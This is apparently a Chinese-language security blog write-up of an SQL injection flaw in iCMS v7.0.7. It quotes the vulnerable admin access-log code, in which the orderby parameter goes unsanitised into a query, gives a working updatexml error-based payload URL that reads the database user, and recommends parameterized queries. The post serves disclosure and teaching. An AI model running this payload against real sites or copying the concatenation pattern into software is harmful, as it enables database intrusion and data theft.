0x00 环境准备
iCMS官网:https://www.icmsdev.com
网站源码版本:iCMS-v7.0.7
程序源码下载:https://www.icmsdev.com/download/release/iCMS7/latest
默认后台地址:http://127.0.0.1/admincp.php
默认账号密码:用户名密码自设
测试网站首页:
0x01 代码分析
1、漏洞文件位置:/app/admincp/admincp.app.php 第36-53行:
- public function do_access_log(){
- $sql = “WHERE 1=1”;
- if($_GET[‘keywords’]) {
- $sql.=” AND CONCAT(username,app,uri,useragent,ip,method,referer) REGEXP ‘{$_GET[‘keywords’]}'”;
- }
- $_GET[‘cid’] && $sql.=” AND `uid` = ‘{$_GET[‘uid’]}'”;
- $_GET[‘sapp’] && $sql.=” AND `app` = ‘{$_GET[‘sapp’]}'”;
- $_GET[‘ip’] && $sql.=” AND `ip` = ‘{$_GET[‘ip’]}'”;
- 10.
- 11. $orderby =$_GET[‘orderby’]?$_GET[‘orderby’]:”id DESC”;
- 12. $maxperpage = $_GET[‘perpage’]>0?(int)$_GET[‘perpage’]:20;
- 13. $total = iCMS::page_total_cache(“SELECT count(*) FROM `#iCMS@__access_log` {$sql}”,”G”);
- 14. iUI::pagenav($total,$maxperpage,”条记录”);
- 15. $rs = iDB::all(“SELECT * FROM `#iCMS@__access_log` {$sql} order by {$orderby} LIMIT “.iUI::$offset.” , {$maxperpage}”);
- 16. $_count = count($rs);
- 17. include admincp::view(“admincp.access”);
18. }
这段函数中将获取到的多个参数进行拼接,注意看orderby参数未经任何处理,直接带入数据库执行,导致程序在实现上存在SQL注入漏洞,攻击者可利用该漏洞获取数据库敏感信息。
0x02 漏洞利用
根据漏洞位置,构造出参数 Payload:
http://127.0.0.1/admincp.php?app=admincp&do=access_log&from=modal&orderby=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))–
0x03 修复建议
使用参数化查询可有效避免SQL注入、
最后
欢迎关注个人微信公众号:Bypass–,每周原创一篇技术干货。